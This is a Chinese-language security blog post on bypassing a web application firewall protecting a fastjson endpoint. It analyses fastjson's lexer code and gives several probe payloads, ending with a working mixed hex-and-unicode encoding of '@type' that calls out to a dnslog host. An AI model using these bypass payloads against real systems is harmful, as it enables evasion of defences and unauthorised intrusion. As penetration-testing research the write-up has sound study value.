记一次实战中对fastjson waf的绕过

举报
亿人安全 发表于 2024/09/30 17:13:39 2024/09/30
【摘要】  原文首发在:先知社区https://xz.aliyun.com/t/15602最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了于是开始了绕过之旅,顺便来学习一下如何waf编码绕过去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过首先简单的测试一下parseObjec...

 原文首发在:先知社区

https://xz.aliyun.com/t/15602

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了

于是开始了绕过之旅,顺便来学习一下如何waf

编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下

parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:143, JSON (com.alibaba.fastjson)
main:8, Test

到如下代码

if (ch == '"') {
    key = lexer.scanSymbol(this.symbolTable, '"');
    lexer.skipWhitespace();
    ch = lexer.getCurrent();
    if (ch != ':') {
        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
    }
}

进入scanSymbol方法

方法就是对我们的key进行处理

switch (chLocal) {
    case '"':
        hash = 31 * hash + 34;
        this.putChar('"');
        break;
    case '#':
    case '$':
    case '%':
    case '&':
    case '(':
    case ')':
    case '*':
    case '+':
    case ',':
    case '-':
    case '.':
    case '8':
    case '9':
    case ':':
    case ';':
    case '<':
    case '=':
    case '>':
    case '?':
    case '@':
    case 'A':
    case 'B':
    case 'C':
    case 'D':
    case 'E':
    case 'G':
    case 'H':
    case 'I':
    case 'J':
    case 'K':
    case 'L':
    case 'M':
    case 'N':
    case 'O':
    case 'P':
    case 'Q':
    case 'R':
    case 'S':
    case 'T':
    case 'U':
    case 'V':
    case 'W':
    case 'X':
    case 'Y':
    case 'Z':
    case '[':
    case ']':
    case '^':
    case '_':
    case '`':
    case 'a':
    case 'c':
    case 'd':
    case 'e':
    case 'g':
    case 'h':
    case 'i':
    case 'j':
    case 'k':
    case 'l':
    case 'm':
    case 'o':
    case 'p':
    case 'q':
    case 's':
    case 'w':
    default:
        this.ch = chLocal;
        throw new JSONException("unclosed.str.lit");
    case '\'':
        hash = 31 * hash + 39;
        this.putChar('\'');
        break;
    case '/':
        hash = 31 * hash + 47;
        this.putChar('/');
        break;
    case '0':
        hash = 31 * hash + chLocal;
        this.putChar('\u0000');
        break;
    case '1':
        hash = 31 * hash + chLocal;
        this.putChar('\u0001');
        break;
    case '2':
        hash = 31 * hash + chLocal;
        this.putChar('\u0002');
        break;
    case '3':
        hash = 31 * hash + chLocal;
        this.putChar('\u0003');
        break;
    case '4':
        hash = 31 * hash + chLocal;
        this.putChar('\u0004');
        break;
    case '5':
        hash = 31 * hash + chLocal;
        this.putChar('\u0005');
        break;
    case '6':
        hash = 31 * hash + chLocal;
        this.putChar('\u0006');
        break;
    case '7':
        hash = 31 * hash + chLocal;
        this.putChar('\u0007');
        break;
    case 'F':
    case 'f':
        hash = 31 * hash + 12;
        this.putChar('\f');
        break;
    case '\\':
        hash = 31 * hash + 92;
        this.putChar('\\');
        break;
    case 'b':
        hash = 31 * hash + 8;
        this.putChar('\b');
        break;
    case 'n':
        hash = 31 * hash + 10;
        this.putChar('\n');
        break;
    case 'r':
        hash = 31 * hash + 13;
        this.putChar('\r');
        break;
    case 't':
        hash = 31 * hash + 9;
        this.putChar('\t');
        break;
    case 'u':
        char c1 = this.next();
        char c2 = this.next();
        char c3 = this.next();
        char c4 = this.next();
        int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);
        hash = 31 * hash + val;
        this.putChar((char)val);
        break;
    case 'v':
        hash = 31 * hash + 11;
        this.putChar('\u000b');
        break;
    case 'x':
        char x1 = this.ch = this.next();
        x2 = this.ch = this.next();
        int x_val = digits[x1] * 16 + digits[x2];
        char x_char = (char)x_val;
        hash = 31 * hash + x_char;
        this.putChar(x_char);
}

可以看到有不同的处理,对应的支持unicode和16进制编码

先去试一试

探测一手

"{\"a\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.net.Inet4Address\",\"val\":\"cd4d1c41.log.dnslog.sbs.\"}}"

图片

可惜还是被拦截了

尝试了16进制结果还是一样的

特殊反序列化绕过

因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
                          Map<String, Object> fieldValues, int[] setFlags) {
    JSONLexer lexer = parser.lexer; // xxx

    final int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;
    FieldDeserializer fieldDeserializer;
    if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {
        fieldDeserializer = getFieldDeserializer(key);
    } else {
        fieldDeserializer = smartMatch(key, setFlags);
    }

绕过逻辑是在smartMatch方法

方法如下

public FieldDeserializer smartMatch(String key, int[] setFlags) {
    if (key == null) {
        return null;
    }

    FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);

    if (fieldDeserializer == null) {
        long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
        if (this.smartMatchHashArray == null) {
            long[] hashArray = new long[sortedFieldDeserializers.length];
            for (int i = 0; i < sortedFieldDeserializers.length; i++) {
                hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);
            }
            Arrays.sort(hashArray);
            this.smartMatchHashArray = hashArray;
        }

        // smartMatchHashArrayMapping
        int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
        if (pos < 0 && key.startsWith("is")) {
            smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
            pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
        }

        if (pos >= 0) {
            if (smartMatchHashArrayMapping == null) {
                short[] mapping = new short[smartMatchHashArray.length];
                Arrays.fill(mapping, (short) -1);
                for (int i = 0; i < sortedFieldDeserializers.length; i++) {
                    int p = Arrays.binarySearch(smartMatchHashArray
                            , TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));
                    if (p >= 0) {
                        mapping[p] = (short) i;
                    }
                }
                smartMatchHashArrayMapping = mapping;
            }

            int deserIndex = smartMatchHashArrayMapping[pos];
            if (deserIndex != -1) {
                if (!isSetFlag(deserIndex, setFlags)) {
                    fieldDeserializer = sortedFieldDeserializers[deserIndex];
                }
            }
        }

        if (fieldDeserializer != null) {
            FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
            if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {
                return null;
            }
        }
    }


    return fieldDeserializer;
}

对key处理的逻辑如下

long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {
    long hashCode = 0xcbf29ce484222325L;
    for (int i = 0; i < key.length(); ++i) {
        char ch = key.charAt(i);
        if (ch == '_' || ch == '-') {
            continue;
        }

        if (ch >= 'A' && ch <= 'Z') {
            ch = (char) (ch + 32);
        }

        hashCode ^= ch;
        hashCode *= 0x100000001b3L;
    }

    return hashCode;
}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是

int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {
    smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
    pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以

加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在

public final void skipWhitespace() {
    for (;;) {
        if (ch <= '/') {
            if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
                next();
                continue;
            } else if (ch == '/') {
                skipComment();
                continue;
            } else {
                break;
            }
        } else {
            break;
        }
    }
}

匹配到这些特殊字符就忽略

测试一下

import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args) {
        String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}";
        JSON.parse(aaa);
    }
}

图片

确实可以,但是环境上去尝试任然被waf了

双重编码

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码

单独的unicode和16进制都不可以

尝试一下同时呢?

去对@type编码

POC

{\"\\x40\\u0074\\u0079\\u0070\\u0065\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。